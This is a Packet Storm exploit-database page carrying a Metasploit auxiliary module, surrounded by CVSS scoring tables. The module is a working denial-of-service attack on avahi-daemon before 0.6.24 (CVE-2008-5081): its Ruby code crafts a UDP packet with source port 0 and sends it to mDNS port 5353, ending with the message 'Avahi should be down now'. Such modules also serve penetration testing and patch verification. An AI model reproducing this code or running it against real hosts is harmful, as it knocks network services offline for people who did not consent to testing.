Lucene search

K
packetstormKris Katterjohn, metasploit.comPACKETSTORM:180498
HistoryAug 31, 2024 - 12:00 a.m.

Avahi Source Port 0 Denial of Service

2024-08-3100:00:00
Kris Katterjohn, metasploit.com
packetstormsecurity.com
17
avahi
dos
mdns

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

AI Score

6.9

Confidence

Low

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Capture  
include Msf::Auxiliary::Dos  
  
def initialize  
super(  
'Name' => 'Avahi Source Port 0 DoS',  
'Description' => %q{  
Avahi-daemon versions prior to 0.6.24 can be DoS'd  
with an mDNS packet with a source port of 0.  
},  
'Author' => 'kris katterjohn',  
'License' => MSF_LICENSE,  
'References' => [  
[ 'CVE', '2008-5081' ],  
[ 'OSVDB', '50929' ],  
],  
'DisclosureDate' => 'Nov 14 2008')  
  
register_options([  
OptInt.new('RPORT', [true, 'The destination port', 5353])  
])  
  
deregister_options('FILTER','PCAPFILE')  
end  
  
def run  
open_pcap  
  
print_status("Sending to #{rhost}")  
  
p = PacketFu::UDPPacket.new  
p.ip_saddr = "0.0.0.0"  
p.ip_daddr = rhost  
p.ip_frag = 0x4000 # Original had ip frag flags set to 2 for some reason.  
p.udp_sport = 0 # That's the bug  
p.udp_dport = datastore['RPORT'].to_i  
p.payload = Rex::Text.rand_text(rand(0x20)) # UDP needs at least one data byte, may as well send a few.  
p.recalc  
capture_sendto(p, rhost) and print_status("Avahi should be down now")  
close_pcap  
end  
end  
`

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

AI Score

6.9

Confidence

Low